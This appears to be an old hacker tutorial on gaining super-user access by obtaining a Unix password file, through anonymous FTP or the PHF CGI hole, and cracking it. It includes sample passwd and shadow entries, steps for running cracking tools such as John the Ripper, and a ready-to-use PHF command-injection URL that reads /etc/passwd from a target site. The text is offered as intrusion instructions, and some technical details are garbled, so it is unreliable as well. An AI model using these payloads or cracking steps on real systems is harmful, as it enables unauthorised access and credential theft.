Getting The Password File Through FTP:

Ok well one of the easiest ways of getting super-user access is through anonymous ftp access into a webpage, first you need learn a little about the password file

Root:User:d7Bdg:1n2HG2:1127:20:superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file, the superuser is the part that gives you root, that's the main part of the file,

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed, shadowed password files don't let you view or copy the actual encrypted password, this causes problems for the password cracker and dictionary maker below is

another example of a shadowed password file,

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well, now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed, pw file, we can now go on to talk about how to crack it

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system,

1) Take password file, download or copy it

2) Find a password cracker and a dictionary maker, although it's nearly impossible to find a good cracker there are a few ok ones out there, i recomend that you look for cracker jack, john the ripper, brute force cracker, or jack the ripper, now for a dictionary maker or a dictionary file, when you start a cracking prog you will be asked to find the the password file, that's where a dictionary maker comes in, you can download one from nearly every hacker page on the net, a dictionary maker finds all the possible letter

combinations with the alphabet that you choose (ASCII, caps, lowercase, and numeric letters may also be added)

3) You then start up the cracker and follow the directions that it gives you

The PHF Technique:

The phf technique is by far the easiest way of getting a password file (although it doesn't work 95% of the time), but to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd, you replace the webpage_goes_here with the domain, so if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
